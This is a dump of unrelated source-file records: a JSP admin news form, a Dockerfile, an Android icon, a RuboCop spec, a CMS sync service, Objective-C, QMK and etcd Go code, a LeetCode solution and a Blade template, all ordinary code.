href=\"vendors/jquery-confirm/jquery-confirm.min.css\" media=\"screen\">\r\n</head>\r\n\r\n<body>\r\n <%@ include file=\"../nav.jsp\"%>\r\n\r\n <div class=\"news-container\">\r\n <div class=\"row\">\r\n <h1 class=\"home-title\">Add News</h1>\r\n <hr style=\"border:0;background-color:#d4d4d4;height:1px;\" />\r\n </div>\r\n </div>\r\n\r\n <div class=\"news-container\">\r\n <div class=\"row\">\r\n <div class=\"span12\">\r\n <form:form class=\"form-horizontal\">\r\n <fieldset>\r\n <div class=\"form-group\">\r\n <div class=\"col-lg-12\">\r\n <h3>News Title</h3>\r\n <input type=\"text\" class=\"form-control col-md-6\" id=\"newstitle\" autocomplete=\"off\" data-provide=\"typeahead\" placeholder=\"Please input title\">\r\n \r\n </div>\r\n </div>\r\n <div class=\"form-group col-lg-12\">\r\n <h3>Content</h3>\r\n <script id=\"newscontent\" name=\"content\" type=\"text/plain\" style=\"height:500px;\">\r\n\t\t\t\t\t\t\t\t<p></p>\r\n </script>\r\n </div>\r\n <button id=\"savenews\" type=\"submit\" class=\"btn btn-primary\" onclick=\"javascript:return false;\">Save</button>\r\n </fieldset>\r\n </form:form>\r\n </div>\r\n </div>\r\n </div>\r\n <br/>\r\n\r\n\r\n <br/>\r\n\r\n <%@ include file=\"footer-admin.jsp\"%>\r\n <script type=\"text/javascript\" src=\"vendors/jquery-confirm/jquery-confirm.min.js\"></script>\r\n <script type=\"text/javascript\">\r\n \t$('#savenews').click(function (){\r\n \t\tvar title = $('#newstitle').val();\r\n \t\tvar content = window.um.getContent();\r\n \t\tvar csrftoken = $(\"input[name='pctf_csrf_token']\").val();\r\n \t\tvar postdata = {'title':title,'content':content,'pctf_csrf_token':csrftoken};\r\n \t\t$.post('admin/savenews.json',postdata,function(ret){\r\n \t\t\tif (ret.err==0) {\r\n \t\t\t$.alert({\r\n \t title: false,\r\n \t content: ret.errmsg,\r\n \t theme: 'bootstrap',\r\n \t confirmButtonClass: 'btn-success',\r\n \t confirm: function(){\r\n \t \twindow.location.replace('admin/manage?func=news');\r\n \t }\r\n \t});\r\n \t\t\t} else {\r\n \t\t\t\tif (ret.err==-98) {\r\n \t\t\t\t$.alert({\r\n \t title: false,\r\n \t content: \"Session time out, please login again!!\",\r\n \t theme: 'bootstrap',\r\n \t confirmButtonClass: 'btn-danger',\r\n \t \tconfirm: function(){\r\n \t \t\twindow.location.replace(\"login\");\r\n \t }\r\n \t});\r\n \t\t\t\t} else {\r\n \t\t\t\t\tif (ret.err==-99) {\r\n \t\t\t\t$.alert({\r\n \t title: false,\r\n \t content: ret.errmsg,\r\n \t theme: 'bootstrap',\r\n \t confirmButtonClass: 'btn-danger',\r\n \t \tconfirm: function(){\r\n \t \t\twindow.location.replace(\"login\");\r\n \t }\r\n \t});\r\n \t\t\t\t} else {\r\n \t\t\t\t\t$.alert({\r\n \t \t title: false,\r\n \t \t content: ret.errmsg,\r\n \t \t theme: 'bootstrap',\r\n \t \t confirmButtonClass: 'btn-danger',\r\n \t \t confirm: function(){\r\n \t \t \twindow.location.reload();\r\n \t \t }\r\n \t \t});\r\n \t\t\t\t}\r\n \t\t\t\t} \r\n \t\t\t\t\r\n \t\t\t}\r\n \t\t},'json').error(function() {\r\n \t\t$.alert({\r\n \t title: false,\r\n \t content: \"Something Wrong!!!\",\r\n \t theme: 'bootstrap',\r\n \t confirmButtonClass: 'btn-danger',\r\n \t confirm: function(){\r\n \t \twindow.location.reload();\r\n \t }\r\n \t});\r\n \t});\r\n \t});\r\n </script>\r\n</body>\r\n\r\n</html>"} {"text": "FROM gcr.io/cloud-builders/npm\nRUN npm install -g @appthreat/cdxgen\n\nENTRYPOINT [\"cdxgen\"]\n"} {"text": "<vector xmlns:android=\"http://schemas.android.com/apk/res/android\"\n android:width=\"24dp\"\n android:height=\"24dp\"\n android:viewportWidth=\"24.0\"\n android:viewportHeight=\"24.0\">\n <path\n android:fillColor=\"?android:attr/textColor\"\n android:pathData=\"M19.35,10.04C18.67,6.59 15.64,4 12,4 9.11,4 6.6,5.64 5.35,8.04 2.34,8.36 0,10.91 0,14c0,3.31 2.69,6 6,6h13c2.76,0 5,-2.24 5,-5 0,-2.64 -2.05,-4.78 -4.65,-4.96zM17,13l-5,5 -5,-5h3V9h4v4h3z\"/>\n</vector>\n"} {"text": "# frozen_string_literal: true\n\nRSpec.describe RuboCop::Cop::Performance::StartWith, :config do\n subject(:cop) { described_class.new(config) }\n\n let(:cop_config) { { 'SafeMultiline' => safe_multiline } }\n\n shared_examples 'different match methods' do |method|\n it \"registers an offense and corrects str#{method} /\\\\Aabc/\" do\n expect_offense(<<~RUBY, method: method)\n str#{method} /\\\\Aabc/\n ^^^^{method}^^^^^^^^ Use `String#start_with?` instead of a regex match anchored to the beginning of the string.\n RUBY\n\n expect_correction(<<~RUBY)\n str.start_with?('abc')\n RUBY\n end\n\n it \"registers an offense and corrects /\\\\Aabc/#{method} str\" do\n expect_offense(<<~RUBY, method: method)\n /\\\\Aabc/#{method} str\n ^^^^^^^^^^{method}^^ Use `String#start_with?` instead of a regex match anchored to the beginning of the string.\n RUBY\n\n expect_correction(<<~RUBY)\n str.start_with?('abc')\n RUBY\n end\n\n it \"registers an offense and corrects str#{method} /^abc/\" do\n expect_offense(<<~RUBY, method: method)\n str#{method} /^abc/\n ^^^^{method}^^^^^^^ Use `String#start_with?` instead of a regex match anchored to the beginning of the string.\n RUBY\n\n expect_correction(<<~RUBY)\n str.start_with?('abc')\n RUBY\n end\n\n it \"registers an offense and corrects /^abc/#{method} str\" do\n expect_offense(<<~RUBY, method: method)\n /^abc/#{method} str\n ^^^^{method}^^^^^^^ Use `String#start_with?` instead of a regex match anchored to the beginning of the string.\n RUBY\n\n expect_correction(<<~RUBY)\n str.start_with?('abc')\n RUBY\n end\n\n # escapes like \"\\n\"\n # note that \"\\b\" is a literal backspace char in a double-quoted string...\n # but in a regex, it's an anchor on a word boundary\n %w[a e f r t v].each do |str|\n it \"registers an offense and corrects str#{method} /\\\\A\\\\#{str}/\" do\n expect_offense(<<~RUBY, method: method, str: str)\n str#{method} /\\\\A\\\\#{str}/\n ^^^^{method}^^^^^^{str}^ Use `String#start_with?` instead of a regex match anchored to the beginning of the string.\n RUBY\n\n expect_correction(<<~RUBY)\n str.start_with?(\"\\\\#{str}\")\n RUBY\n end\n\n it \"registers an offense and corrects /\\\\A\\\\#{str}#{method} str/\" do\n expect_offense(<<~RUBY, method: method, str: str)\n /\\\\A\\\\#{str}/#{method} str\n ^^^^^{str}^^{method}^^^^ Use `String#start_with?` instead of a regex match anchored to the beginning of the string.\n RUBY\n\n expect_correction(<<~RUBY)\n str.start_with?(\"\\\\#{str}\")\n RUBY\n end\n end\n\n # regexp metacharacters\n %w[. * ? $ ^ |].each do |str|\n it \"registers an offense and corrects str#{method} /\\\\A\\\\#{str}/\" do\n expect_offense(<<~RUBY, method: method, str: str)\n str#{method} /\\\\A\\\\#{str}/\n ^^^^{method}^^^^^^{str}^ Use `String#start_with?` instead of a regex match anchored to the beginning of the string.\n RUBY\n\n expect_correction(<<~RUBY)\n str.start_with?('#{str}')\n RUBY\n end\n\n it \"registers an offense and corrects /\\\\A\\\\#{str}/#{method} str\" do\n expect_offense(<<~RUBY, method: method, str: str)\n /\\\\A\\\\#{str}/#{method} str\n ^^^^^{str}^^{method}^^^^ Use `String#start_with?` instead of a regex match anchored to the beginning of the string.\n RUBY\n\n expect_correction(<<~RUBY)\n str.start_with?('#{str}')\n RUBY\n end\n\n it \"doesn't register an offense for str#{method} /\\\\A#{str}/\" do\n expect_no_offenses(\"str#{method} /\\\\A#{str}/\")\n end\n\n it \"doesn't register an offense for /\\\\A#{str}/#{method} str\" do\n expect_no_offenses(\"/\\\\A#{str}/#{method} str\")\n end\n end\n\n # character classes, anchors\n %w[w W s S d D A Z z G b B h H R X S].each do |str|\n it \"doesn't register an offense for str#{method} /\\\\A\\\\#{str}/\" do\n expect_no_offenses(\"str#{method} /\\\\A\\\\#{str}/\")\n end\n\n it \"doesn't register an offense for /\\\\A\\\\#{str}/#{method} str\" do\n expect_no_offenses(\"/\\\\A\\\\#{str}/#{method} str\")\n end\n end\n\n # characters with no special meaning whatsoever\n %w[i j l m o q y].each do |str|\n it \"registers an offense and corrects str#{method} /\\\\A\\\\#{str}/\" do\n expect_offense(<<~RUBY, method: method, str: str)\n str#{method} /\\\\A\\\\#{str}/\n ^^^^{method}^^^^^^{str}^ Use `String#start_with?` instead of a regex match anchored to the beginning of the string.\n RUBY\n\n expect_correction(<<~RUBY)\n str.start_with?('#{str}')\n RUBY\n end\n\n it \"registers an offense and corrects /\\\\A\\\\#{str}#{method} str/\" do\n expect_offense(<<~RUBY, method: method, str: str)\n /\\\\A\\\\#{str}/#{method} str\n ^^^^^{str}^^{method}^^^^ Use `String#start_with?` instead of a regex match anchored to the beginning of the string.\n RUBY\n\n expect_correction(<<~RUBY)\n str.start_with?('#{str}')\n RUBY\n end\n end\n\n it \"registers an offense and corrects str#{method} /\\\\A\\\\\\\\/\" do\n expect_offense(<<~RUBY, method: method)\n str#{method} /\\\\A\\\\\\\\/\n ^^^^{method}^^^^^^^ Use `String#start_with?` instead of a regex match anchored to the beginning of the string.\n RUBY\n\n expect_correction(<<~RUBY)\n str.start_with?('\\\\\\\\')\n RUBY\n end\n\n it \"registers an offense and corrects /\\\\A\\\\\\\\/#{method} str\" do\n expect_offense(<<~RUBY, method: method)\n /\\\\A\\\\\\\\/#{method} str\n ^^^^^^^{method}^^^^ Use `String#start_with?` instead of a regex match anchored to the beginning of the string.\n RUBY\n\n expect_correction(<<~RUBY)\n str.start_with?('\\\\\\\\')\n RUBY\n end\n end\n\n context 'when `SafeMultiline: false`' do\n let(:safe_multiline) { false }\n\n include_examples('different match methods', '.match?')\n include_examples('different match methods', ' =~')\n include_examples('different match methods', '.match')\n\n it 'allows match without a receiver' do\n expect_no_offenses('expect(subject.spin).to match(/\\A\\n/)')\n end\n end\n\n context 'when `SafeMultiline: true`' do\n let(:safe_multiline) { true }\n\n it 'does not register an offense when using `^` as starting pattern' do\n expect_no_offenses(<<~RUBY)\n 'abc'.match?(/^ab/)\n RUBY\n end\n end\nend\n"} {"text": "'use strict';\n\nconst Path = require('path');\nconst Url = require('url');\n\n/**\n * The helper class for all synchronisation services\n *\n * @memberof HashBrown.Server.Service\n */\nclass SyncService {\n /**\n * Parses a URL\n *\n * @param {String} base\n * @param {Array} parts\n *\n * @returns {String} URL\n */\n static parseUrl(base, ...parts) {\n let url = Url.parse(base);\n \n return url.protocol + '//' + url.hostname + (url.port ? ':' + url.port : '') + '/' + Path.join('api', parts.filter((x) => { return !!x; }).join('/'));\n }\n\n /**\n * Gets a new token\n *\n * @param {String} project\n * @param {String} username\n * @param {String} password\n * @param {String} overrideUrl\n *\n * @returns {String} New token\n */\n static async renewToken(project, username, password, overrideUrl = '') {\n checkParam(project, 'project', String);\n checkParam(username, 'username', String);\n checkParam(password, 'password', String);\n checkParam(overrideUrl, 'overrideUrl', String);\n\n let settings = await HashBrown.Service.SettingsService.getSettings(project, '', 'sync') || {};\n\n if(overrideUrl) { settings.url = overrideUrl; }\n\n this.validateSettings(settings, project, true);\n\n let url = this.parseUrl(settings.url, 'user', 'login') + '?persist=true';\n\n debug.log('Renewing sync token for ' + project + '...', this);\n\n let postData = {\n username: username,\n password: password\n };\n \n try {\n if(project == settings.project) { throw new Error('Cyclic sync'); }\n \n let data = await HashBrown.Service.RequestService.request('post', url, postData);\n\n debug.log('Sync token renewed successfully', this);\n \n return data;\n\n } catch(e) {\n throw new Error('Unable to renew token via ' + url + '. Reason: ' + (e.message || 'unknown') + '.');\n\n }\n }\n \n /**\n * Validates the sync settings\n *\n * @param {Object} settings\n * @param {String} project\n * @param {Boolean} justUrl\n *\n * @returns {Boolean} Whether the settings are valid\n */\n static validateSettings(settings, project, justUrl) {\n if(!settings) { throw new Error('Sync settings incomplete'); }\n\n if(settings.project == project) { throw new Error('Cyclic sync'); }\n\n if(!settings.url || settings.url.indexOf('http') !== 0) { throw new Error('Sync url not valid'); }\n \n if(justUrl) { return; }\n if(settings && settings.token && settings.project) { return; }\n \n throw new Error('Sync settings incomplete');\n }\n\n /**\n * Get resource item\n *\n * @param {String} project\n * @param {String} environment\n * @param {String} remoteResourceName\n * @param {String} remoteItemName\n *\n * @returns {Object} Resource\n */\n static async getResourceItem(project, environment, remoteResourceName, remoteItemName) {\n checkParam(project, 'project', String);\n checkParam(environment, 'environment', String);\n checkParam(remoteResourceName, 'remoteResourceName', String);\n checkParam(remoteItemName, 'remoteItemName', String);\n\n if(!remoteItemName) {\n return this.getResource(project, environment, remoteResourceName);\n }\n\n let settings = await HashBrown.Service.SettingsService.getSettings(project, '', 'sync') || {};\n\n if(!settings.enabled) { return ''; }\n \n let url = this.parseUrl(settings.url, settings.project, environment, remoteResourceName, remoteItemName);\n\n try {\n this.validateSettings(settings, project);\n \n debug.log('Requesting remote resource item via ' + url + ' on behalf of project ' + project + '...', this, 3);\n \n let data = await HashBrown.Service.RequestService.request('get', url + '?token=' + settings.token);\n\n if(data instanceof Object) {\n data.isLocked = true;\n\n data.sync = {\n isRemote: true,\n hasRemote: false\n };\n }\n \n debug.log('Remote resource item retrieved successfully via ' + url, this, 3);\n \n return data;\n\n } catch(e) {\n await HashBrown.Service.ProjectService.toggleProjectSync(project, false);\n\n throw new Error('Unable to get resource item via ' + url + '. Reason: ' + (e.message || 'unknown') + '. Disabling sync to avoid infinite loops.');\n }\n }\n\n /**\n * Set resource item\n *\n * @param {String} project\n * @param {String} environment\n * @param {String} remoteResourceName\n * @param {String} remoteItemName\n * @param {Object} remoteItemData\n */\n static async setResourceItem(project, environment, remoteResourceName, remoteItemName, remoteItemData) {\n checkParam(project, 'project', String);\n checkParam(environment, 'environment', String);\n checkParam(remoteResourceName, 'remoteResourceName', String);\n checkParam(remoteItemName, 'remoteItemName', String);\n checkParam(remoteItemData, 'remoteItemData', Object);\n\n let settings = await HashBrown.Service.SettingsService.getSettings(project, '', 'sync') || {};\n\n if(!settings.enabled) { return; }\n\n let url = this.parseUrl(settings.url, settings.project, environment, remoteResourceName, remoteItemName);\n \n try {\n this.validateSettings(settings, project);\n\n debug.log('Posting remote resource item via ' + url + ' on behalf of project ' + project + '...', this, 3);\n \n let headers = {\n 'Content-Type': 'application/json'\n };\n \n // Send the API request, and make sure to create/upsert any resources that do not yet exist on the remote \n let data = await HashBrown.Service.RequestService.request('post', url + '?create=true&token=' + settings.token, remoteItemData);\n\n debug.log('Remote resource item ' + remoteItemName + ' posted successfully', this, 3);\n \n } catch(e) {\n throw new Error('Unable to set resource item via ' + url + '. Reason: ' + (e.message || 'unknown') + '.');\n }\n }\n\n /**\n * Get resource\n *\n * @param {String} project\n * @param {String} environment\n * @param {String} remoteResourceName\n * @param {Object} params\n *\n * @returns {Object} Resource\n */\n static async getResource(project, environment, remoteResourceName, params = {}) {\n checkParam(project, 'project', String);\n checkParam(environment, 'environment', String);\n checkParam(remoteResourceName, 'remoteResourceName', String);\n\n let settings = await HashBrown.Service.SettingsService.getSettings(project, '', 'sync') || {};\n\n if(!settings.enabled) { return null; }\n\n let url = this.parseUrl(settings.url, settings.project, environment, remoteResourceName);\n \n try {\n this.validateSettings(settings, project);\n\n debug.log('Requesting remote resource via ' + url + ' on behalf of project ' + project + '...', this, 3);\n \n params.token = settings.token;\n\n let data = await HashBrown.Service.RequestService.request('get', url, params);\n\n debug.log('Remote resource retrieved successfully via ' + url, this, 3);\n \n return data;\n \n } catch(e) {\n await HashBrown.Service.ProjectService.toggleProjectSync(project, false);\n\n throw new Error('Unable to get resource via ' + url + '. Reason: ' + (e.message || 'unknown') + '. Disabling sync to avoid infinite loops.');\n }\n }\n\n /**\n * Merges a resource with a synced one\n *\n * @param {String} project\n * @param {String} environment\n * @param {String} remoteResourceName\n * @param {Array} localResource\n * @param {Object} params\n *\n * @return {Object} Merged resource\n */\n static async mergeResource(project, environment, remoteResourceName, localResource, params = {}) {\n checkParam(project, 'project', String);\n checkParam(environment, 'environment', String);\n checkParam(remoteResourceName, 'remoteResourceName', String);\n checkParam(localResource, 'localResource', Array);\n\n let remoteResource = await this.getResource(project, environment, remoteResourceName, params);\n\n let mergedResource;\n\n if(remoteResource) {\n // Cache ids to look for duplicates\n let remoteIds = {};\n let duplicateIds = {};\n \n for(let r in remoteResource) {\n let remoteItem = remoteResource[r];\n\n if(!remoteItem) {\n debug.log('\"' + r + '\" in remote resource \"' + remoteResourceName + '\" is null', this);\n\n } else if(typeof remoteItem !== 'object') {\n debug.log('\"' + r + '\" in remote resource \"' + remoteResourceName + '\" is not an object: ' + remoteItem, this);\n\n } else {\n // Remove old variable names\n delete remoteItem.locked;\n delete remoteItem.remote;\n delete remoteItem.local;\n\n remoteItem.isLocked = true;\n\n remoteItem.sync = {\n isRemote: true,\n hasRemote: false\n };\n\n remoteIds[remoteItem.id] = true;\n\n }\n }\n\n // Look for duplicates and flag local nodes\n for(let l in localResource) {\n let localItem = localResource[l];\n\n if(remoteIds[localItem.id] == true) {\n localItem.isLocked = false;\n\n localItem.sync = {\n isRemote: false,\n hasRemote: true\n };\n\n duplicateIds[localItem.id] = true;\n }\n }\n\n // Make sure remote resource is array\n if(remoteResource instanceof Object && remoteResource instanceof Array === false) {\n remoteResource = Object.values(remoteResource); \n }\n \n if(remoteResource instanceof Array === false) {\n throw new Error('The remote resource \"' + remoteResourceName + '\" was not an array');\n }\n \n // Make sure local resource is array\n if(localResource instanceof Object && remoteResource instanceof Array === false) {\n localResource = Object.values(localResource); \n }\n\n if(localResource instanceof Array === false) {\n throw new Error('The local resource \"' + remoteResourceName + '\" was not an array');\n }\n\n // Merge resources\n mergedResource = [];\n \n for(let v of remoteResource) {\n if(duplicateIds[v.id] == true) { continue; }\n\n mergedResource[mergedResource.length] = v;\n }\n \n for(let v of localResource) {\n mergedResource[mergedResource.length] = v;\n }\n \n } else {\n mergedResource = localResource;\n\n }\n\n return mergedResource;\n }\n}\n\nmodule.exports = SyncService;\n"} {"text": "//\n// SUIModalActionSheet.m\n// iUU\n//\n// Created by apple on 4/20/11.\n// Copyright 2011 iUUMobile. All rights reserved.\n//\n\n#import \"SUIModalActionSheet.h\"\n\n\n@implementation SUIModalActionSheet\n\n@synthesize _buttonIndex;\n\n\n- (void)showFromToolbar:(UIToolbar *)view {\n\tCFRunLoopRef currentLoop = CFRunLoopGetCurrent();\n\tSUIModalActionSheetDelegate *modalDelegate = [[SUIModalActionSheetDelegate alloc] initWithRunLoop:currentLoop];\n\tself.delegate = modalDelegate;\n\t\n\t[super showFromToolbar:view];\n\t\n\t// Wait for response\n\tCFRunLoopRun();\n\t\n\t_buttonIndex = modalDelegate._buttonIndex;\n\t[modalDelegate release];\n}\n\n\n- (void)showFromTabBar:(UITabBar *)view {\n\tCFRunLoopRef currentLoop = CFRunLoopGetCurrent();\n\tSUIModalActionSheetDelegate *modalDelegate = [[SUIModalActionSheetDelegate alloc] initWithRunLoop:currentLoop];\n\tself.delegate = modalDelegate;\n\t\n\t[super showFromTabBar:view];\n\t\n\t// Wait for response\n\tCFRunLoopRun();\n\t\n\t_buttonIndex = modalDelegate._buttonIndex;\n\t[modalDelegate release];\n}\n\n\n- (void)showInView:(UIView *)view {\n\tCFRunLoopRef currentLoop = CFRunLoopGetCurrent();\n\tSUIModalActionSheetDelegate *modalDelegate = [[SUIModalActionSheetDelegate alloc] initWithRunLoop:currentLoop];\n\tself.delegate = modalDelegate;\n\t\n\t[super showInView:view];\n\t\n\t// Wait for response\n\tCFRunLoopRun();\n\t\n\t_buttonIndex = modalDelegate._buttonIndex;\n\t[modalDelegate release];\n}\n\n\n@end\n\n\n\n#pragma mark -\n\n@implementation SUIModalActionSheetDelegate\n\n\n@synthesize _buttonIndex;\n\n\n- (id)initWithRunLoop:(CFRunLoopRef)runLoop {\n\tif (self = [super init]) {\n\t\t_currentLoop = runLoop;\n\t}\n\treturn self;\n}\n\n\n- (void)actionSheet:(UIActionSheet *)actionSheet clickedButtonAtIndex:(NSInteger)buttonIndex {\n\t_buttonIndex = buttonIndex;\n\tCFRunLoopStop(_currentLoop);\n}\n\n\n@end\n"} {"text": "#ifdef OLED_DRIVER_ENABLE\n\nvoid render_logo(void);\nvoid render_lock_status(void);\nvoid update_key_status(uint16_t keycode, keyrecord_t *record);\nvoid render_key_status(void);\n\n#define RENDER_LOGO() render_logo()\n#define RENDER_LOCK_STATUS() render_lock_status()\n#define UPDATE_KEY_STATUS(a, b) update_key_status(a, b)\n#define RENDER_KEY_STATUS() render_key_status()\n\n#ifdef RGBLIGHT_ENABLE\n void update_led_status(void);\n void render_led_status(void);\n #define UPDATE_LED_STATUS() update_led_status()\n #define RENDER_LED_STATUS() render_led_status()\n#else\n #define UPDATE_LED_STATUS()\n #define RENDER_LED_STATUS()\n#endif\n\n#else\n\n#define RENDER_LOGO()\n#define RENDER_LOCK_STATUS()\n#define UPDATE_KEY_STATUS(a, b)\n#define RENDER_KEY_STATUS()\n#define UPDATE_LED_STATUS()\n#define RENDER_LED_STATUS()\n\n#endif\n"} {"text": "// Copyright 2015 The etcd Authors\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage wal\n\nimport (\n\t\"bufio\"\n\t\"encoding/binary\"\n\t\"hash\"\n\t\"io\"\n\t\"sync\"\n\n\t\"go.etcd.io/etcd/pkg/crc\"\n\t\"go.etcd.io/etcd/pkg/pbutil\"\n\t\"go.etcd.io/etcd/raft/raftpb\"\n\t\"go.etcd.io/etcd/wal/walpb\"\n)\n\nconst minSectorSize = 512\n\n// frameSizeBytes is frame size in bytes, including record size and padding size.\nconst frameSizeBytes = 8\n\ntype decoder struct {\n\tmu sync.Mutex\n\tbrs []*bufio.Reader\n\n\t// lastValidOff file offset following the last valid decoded record\n\tlastValidOff int64\n\tcrc hash.Hash32\n}\n\nfunc newDecoder(r ...io.Reader) *decoder {\n\treaders := make([]*bufio.Reader, len(r))\n\tfor i := range r {\n\t\treaders[i] = bufio.NewReader(r[i])\n\t}\n\treturn &decoder{\n\t\tbrs: readers,\n\t\tcrc: crc.New(0, crcTable),\n\t}\n}\n\nfunc (d *decoder) decode(rec *walpb.Record) error {\n\trec.Reset()\n\td.mu.Lock()\n\tdefer d.mu.Unlock()\n\treturn d.decodeRecord(rec)\n}\n\nfunc (d *decoder) decodeRecord(rec *walpb.Record) error {\n\tif len(d.brs) == 0 {\n\t\treturn io.EOF\n\t}\n\n\tl, err := readInt64(d.brs[0])\n\tif err == io.EOF || (err == nil && l == 0) {\n\t\t// hit end of file or preallocated space\n\t\td.brs = d.brs[1:]\n\t\tif len(d.brs) == 0 {\n\t\t\treturn io.EOF\n\t\t}\n\t\td.lastValidOff = 0\n\t\treturn d.decodeRecord(rec)\n\t}\n\tif err != nil {\n\t\treturn err\n\t}\n\n\trecBytes, padBytes := decodeFrameSize(l)\n\n\tdata := make([]byte, recBytes+padBytes)\n\tif _, err = io.ReadFull(d.brs[0], data); err != nil {\n\t\t// ReadFull returns io.EOF only if no bytes were read\n\t\t// the decoder should treat this as an ErrUnexpectedEOF instead.\n\t\tif err == io.EOF {\n\t\t\terr = io.ErrUnexpectedEOF\n\t\t}\n\t\treturn err\n\t}\n\tif err := rec.Unmarshal(data[:recBytes]); err != nil {\n\t\tif d.isTornEntry(data) {\n\t\t\treturn io.ErrUnexpectedEOF\n\t\t}\n\t\treturn err\n\t}\n\n\t// skip crc checking if the record type is crcType\n\tif rec.Type != crcType {\n\t\td.crc.Write(rec.Data)\n\t\tif err := rec.Validate(d.crc.Sum32()); err != nil {\n\t\t\tif d.isTornEntry(data) {\n\t\t\t\treturn io.ErrUnexpectedEOF\n\t\t\t}\n\t\t\treturn err\n\t\t}\n\t}\n\t// record decoded as valid; point last valid offset to end of record\n\td.lastValidOff += frameSizeBytes + recBytes + padBytes\n\treturn nil\n}\n\nfunc decodeFrameSize(lenField int64) (recBytes int64, padBytes int64) {\n\t// the record size is stored in the lower 56 bits of the 64-bit length\n\trecBytes = int64(uint64(lenField) & ^(uint64(0xff) << 56))\n\t// non-zero padding is indicated by set MSb / a negative length\n\tif lenField < 0 {\n\t\t// padding is stored in lower 3 bits of length MSB\n\t\tpadBytes = int64((uint64(lenField) >> 56) & 0x7)\n\t}\n\treturn recBytes, padBytes\n}\n\n// isTornEntry determines whether the last entry of the WAL was partially written\n// and corrupted because of a torn write.\nfunc (d *decoder) isTornEntry(data []byte) bool {\n\tif len(d.brs) != 1 {\n\t\treturn false\n\t}\n\n\tfileOff := d.lastValidOff + frameSizeBytes\n\tcurOff := 0\n\tchunks := [][]byte{}\n\t// split data on sector boundaries\n\tfor curOff < len(data) {\n\t\tchunkLen := int(minSectorSize - (fileOff % minSectorSize))\n\t\tif chunkLen > len(data)-curOff {\n\t\t\tchunkLen = len(data) - curOff\n\t\t}\n\t\tchunks = append(chunks, data[curOff:curOff+chunkLen])\n\t\tfileOff += int64(chunkLen)\n\t\tcurOff += chunkLen\n\t}\n\n\t// if any data for a sector chunk is all 0, it's a torn write\n\tfor _, sect := range chunks {\n\t\tisZero := true\n\t\tfor _, v := range sect {\n\t\t\tif v != 0 {\n\t\t\t\tisZero = false\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t\tif isZero {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}\n\nfunc (d *decoder) updateCRC(prevCrc uint32) {\n\td.crc = crc.New(prevCrc, crcTable)\n}\n\nfunc (d *decoder) lastCRC() uint32 {\n\treturn d.crc.Sum32()\n}\n\nfunc (d *decoder) lastOffset() int64 { return d.lastValidOff }\n\nfunc mustUnmarshalEntry(d []byte) raftpb.Entry {\n\tvar e raftpb.Entry\n\tpbutil.MustUnmarshal(&e, d)\n\treturn e\n}\n\nfunc mustUnmarshalState(d []byte) raftpb.HardState {\n\tvar s raftpb.HardState\n\tpbutil.MustUnmarshal(&s, d)\n\treturn s\n}\n\nfunc readInt64(r io.Reader) (int64, error) {\n\tvar n int64\n\terr := binary.Read(r, binary.LittleEndian, &n)\n\treturn n, err\n}\n"} {"text": "require('../../modules/es6.string.raw');\nmodule.exports = require('../../modules/$.core').String.raw;"} {"text": "package leetcode\n\nfunc minCut(s string) int {\n\tif s == \"\" {\n\t\treturn 0\n\t}\n\tresult := len(s)\n\tcurrent := make([]string, 0, len(s))\n\tdfs132(s, 0, current, &result)\n\treturn result\n}\n\nfunc dfs132(s string, idx int, cur []string, result *int) {\n\tstart, end := idx, len(s)\n\tif start == end {\n\t\t*result = min(*result, len(cur)-1)\n\t\treturn\n\t}\n\tfor i := start; i < end; i++ {\n\t\tif isPal(s, start, i) {\n\t\t\tdfs132(s, i+1, append(cur, s[start:i+1]), result)\n\t\t}\n\t}\n}\n\nfunc min(a int, b int) int {\n\tif a > b {\n\t\treturn b\n\t}\n\treturn a\n}\n\nfunc isPal(str string, s, e int) bool {\n\tfor s < e {\n\t\tif str[s] != str[e] {\n\t\t\treturn false\n\t\t}\n\t\ts++\n\t\te--\n\t}\n\treturn true\n}\n"} {"text": "@inject('helper', 'App\\Services\\Helper')\n<!-- 引入模板布局 -->\n@extends('layouts.app')\n<!-- 定义标题 -->\n@section('title', '用户中心')\n@section('keywords', '用户中心')\n@section('description', '用户中心')\n\n@section('content')\n <!-- Main jumbotron for a primary marketing message or call to action -->\n <div class=\"jumbotron\" style=\"padding: 1rem 1rem;\">\n <div class=\"container\">\n <h3>用户中心</h3>\n </div>\n </div>\n\n <div class=\"container\">\n <!-- Example row of columns -->\n <div class=\"row\">\n <div class=\"col-md-3\">\n <div class=\"list-group\">\n <a href=\"/pc/user/index\" class=\"list-group-item list-group-item-action\">用户中心</a>\n <a href=\"/pc/user/profile\" class=\"list-group-item list-group-item-action\">个人资料</a>\n <a href=\"/pc/order/index\" class=\"list-group-item list-group-item-action\">我的订单</a>\n <a href=\"/pc/message/index\" class=\"list-group-item list-group-item-action\">我的消息</a>\n <a href=\"/pc/comment/index\" class=\"list-group-item list-group-item-action\">我的评论</a>\n <a href=\"/pc/user/safety\" class=\"list-group-item list-group-item-action active\">账户安全</a>\n <a href=\"/pc/user/bind\" class=\"list-group-item list-group-item-action\">账号绑定</a>\n <a href=\"/pc/address/index\" class=\"list-group-item list-group-item-action\">收货地址</a>\n </div>\n </div>\n <div class=\"col-md-9\">\n <div class=\"row\">\n <div class=\"col-sm-12\">\n <div class=\"card\">\n <div class=\"card-body\">\n 你好,<span style=\"color:#818182\">{{ $user->name }}</span> 欢迎回来!\n <span style=\"float:right\">\n 余额:<span style=\"color:#dc3545\">{{ $user->money }}</span>&nbsp;&nbsp;&nbsp;&nbsp;\n 积分:<span style=\"color:#28a745\">{{ $user->point }}</span>\n </span>\n </div>\n </div>\n </div>\n </div>\n <br>\n <div class=\"row\">\n <div class=\"col-sm-12\">\n <div class=\"card\">\n <div class=\"card-body\">\n <h4 class=\"card-title\">账户安全</h4>\n <p class=\"card-text\">\n <form>\n <div class=\"form-group row\">\n <label class=\"col-sm-2 col-form-label\">用户名</label>\n <div class=\"col-sm-10\">\n <input type=\"text\" readonly class=\"form-control-plaintext\" value=\"{{ $user->name }}\"><a href=\"/pc/user/username\">修改</a>\n </div>\n </div>\n <div class=\"form-group row\">\n <label class=\"col-sm-2 col-form-label\">密码</label>\n <div class=\"col-sm-10\">\n <input 